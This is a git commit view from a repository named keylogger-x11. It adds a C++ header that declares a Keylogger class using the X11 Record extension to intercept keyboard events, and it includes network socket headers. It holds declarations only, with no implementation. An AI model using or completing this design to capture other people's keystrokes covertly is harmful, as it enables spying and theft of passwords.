diff options
author | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
---|---|---|
committer | Vianney Bouchaud <vianney@bouchaud.org> | 2011-10-06 19:06:28 +0200 |
commit | 00701af646de99bf0c7b0d16a29edcaa4707b3e8 (patch) | |
tree | 270a910c87c34e6da78b8a25b3d8565cd0ced94d /includes | |
download | keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.gz keylogger-x11-00701af646de99bf0c7b0d16a29edcaa4707b3e8.tar.xz |
base-class non-usable
Diffstat (limited to 'includes')
-rw-r--r-- | includes/Keylogger.hpp | 71 |
1 files changed, 71 insertions, 0 deletions
diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp new file mode 100644 index 0000000..91f5a71 --- /dev/null +++ b/includes/Keylogger.hpp @@ -0,0 +1,71 @@ +// +// Keylogger.hpp for Keylogger clas in /home/vianney +// +// Made by Vianney Bouchaud +// Login <vianney@bouchaud.org> +// +// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud +// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud +// + +#ifndef __KEYLOGGER_HH__ +# define __KEYLOGGER_HH__ + +#include <X11/Xlibint.h> +#include <X11/Xlib.h> +#include <X11/Xutil.h> +#include <X11/Xos.h> +#include <X11/Shell.h> +#include <X11/cursorfont.h> +#include <X11/keysymdef.h> +#include <X11/keysym.h> +#include <X11/extensions/record.h> +#include <X11/extensions/XTest.h> +#include <unistd.h> +#include <exception> +#include <string> +#include <iostream> +#include <stdio.h> +#include <sys/socket.h> +#include <netinet/in.h> +#include <netdb.h> + +struct CallbackClosure { + Display *ctrlDisplay; + Display *dataDisplay; + int curX; + int curY; + void *initialObject; +}; + +typedef union { + unsigned char type; + xEvent event; + xResourceReq req; + xGenericReply reply; + xError error; + xConnSetupPrefix setup; +} XRecordDatum; + +class Keylogger { +public: + Keylogger(); + ~Keylogger(); + void start(); + void stop(); + void processData(); + bool xConnect(std::string displayName); + +private: + std::string m_displayName; + CallbackClosure userData; + std::pair<int,int> recVer; + XRecordRange *recRange; + XRecordClientSpec recClientSpec; + XRecordContext recContext; + + void setupRecordExtension(); + static std::string eventCallback(XPointer priv, XRecordInterceptData *hook); +}; + +#endif /* !__KEYLOGGER_HH__ */ |